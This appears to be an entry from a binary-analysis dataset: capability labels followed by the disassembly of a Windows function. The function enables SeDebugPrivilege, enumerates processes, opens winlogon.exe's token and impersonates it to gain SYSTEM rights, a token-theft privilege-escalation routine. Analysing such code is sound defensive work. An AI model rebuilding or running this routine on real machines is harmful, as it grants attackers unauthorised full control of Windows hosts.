Function at 0x1400113ed
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
jmp 0x140012220
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xc6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x488], rax
lea rcx, [0x1400250f5]
call fcn.140011433
nop
mov qword [rbp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400122ad
lea rdx, str.Failed_to_open_process_token
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xor eax, eax
jmp 0x140012506
mov eax, 0xc
imul rax, rax, 0
lea rax, [rbp + rax + 0x4c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
nop
mov dword [rbp + 0x48], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x54], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140012348
lea rdx, str.Failed_to_adjust_token_privileges
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x140012506
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor edx, edx
mov ecx, 2
call fcn.140011203
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0xffffffffffffffff
jne 0x140012395
lea rdx, str.Failed_to_take_process_snapshot
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xor eax, eax
jmp 0x140012506
mov dword [rbp + 0xa0], 0x238
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x78]
call fcn.140011299
test eax, eax
jne 0x1400123e9
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, str.Failed_to_enumerate_processes
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xor eax, eax
jmp 0x140012506
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0xcc]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x14001245e
mov r8d, dword [rbp + 0xa8]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0
je 0x14001245e
lea r8, [rbp + 0x28]
mov edx, 0xb
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140012450
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140012476
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x78]
call fcn.1400113cf
test eax, eax
jne 0x1400123e9
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x28], 0
je 0x1400124ce
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x1400124ce
lea rdx, str.Successfully_elevated_to_SYSTEM_privileges
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x140012506
lea rdx, str.Failed_to_impersonate_SYSTEM_privileges
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
cmp qword [rbp + 0x28], 0
je 0x140012504
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bce0]
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0x488]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x498]
pop rdi
pop rbp
ret